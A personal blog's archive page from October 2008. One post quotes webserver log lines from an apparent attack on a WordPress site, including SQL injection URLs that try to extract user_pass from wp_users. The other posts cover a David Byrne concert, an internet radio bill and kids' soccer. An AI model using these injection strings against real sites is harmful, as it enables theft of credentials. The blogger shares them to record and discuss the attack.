October 3, 2008

There were 5 posts published on October 3, 2008 (this is page 1 of 1).

More webserver attacks

Just logged a few of these. Seems this attack has been discussed online before, but surprisingly there’s little information on it.

Note the attempt to get the user passwords from the wp_users table:

216.83.63.254 – – [03/Oct/2008:14:30:38 -0400] “GET /xmlrpc.php HTTP/1.1” 200 42
“-” “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)”
216.83.63.254 – – [03/Oct/2008:14:30:39 -0400] “POST /xmlrpc.php HTTP/1.1” 403 9
70 “-” “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)”
216.83.63.254 – – [03/Oct/2008:14:30:47 -0400] “POST /wp-trackback.php?tb_id=1 H
TTP/1.1” 403 984 “-” “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)”
216.83.63.254 – – [03/Oct/2008:14:30:54 -0400] “GET /index.php?cat=%2527+UNION+S
ELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+i
d=1/* HTTP/1.1” 403 295 “-” “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)”
216.83.63.254 – – [03/Oct/2008:14:30:55 -0400] “GET /index.php?cat=999+UNION+SEL
ECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FRO
M+wp_users+where+id=1/* HTTP/1.1” 403 295 “-” “Mozilla/4.0 (k1b compatible; rss
6.0; Windows Sot 5.1 Security Kol)”
216.83.63.254 – – [03/Oct/2008:14:30:55 -0400] “GET /wp-trackback.php?p=1 HTTP/1
.1” 200 135 “-” “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)”

David Byrne coming to Raleigh Dec 8th

David Byrne of Talking Heads fame will be playing Raleigh’s Meymandi Hall December 8th, says N&O music critic David Menconi. The show’s not even up on the Progress Energy Center’s website yet.

David and Brian Eno recently released a new album called Everything That Will Happen Will Happen Today. You can listen to the entire album from its website, which while not as cool as Byrne’s Radiohead pals selling their album on the honor system is still pretty cool.

Webcaster bill passes Senate!

The Senate voted Tuesday to pass HR. 7084, the Webcaster Settlement Act of 2008! GovTrack.Us says the bill passed the Senate by “Unanimous Consent.”

Should the President sign it into law, the act law will allow internet radio stations such as Pandora to negotiate rates with music rights holders.

I’ve heard (and purchased) more new music since I found Pandora than I have in years. Thanks to everyone who called on behalf of the bill!

Cheap Thoughts: kids’ soccer games

When the opposing teams of a kids’ soccer game line up to shake each others’ hands, the parents of the kids should also line up to shake hands. Watching your kid play gets intense!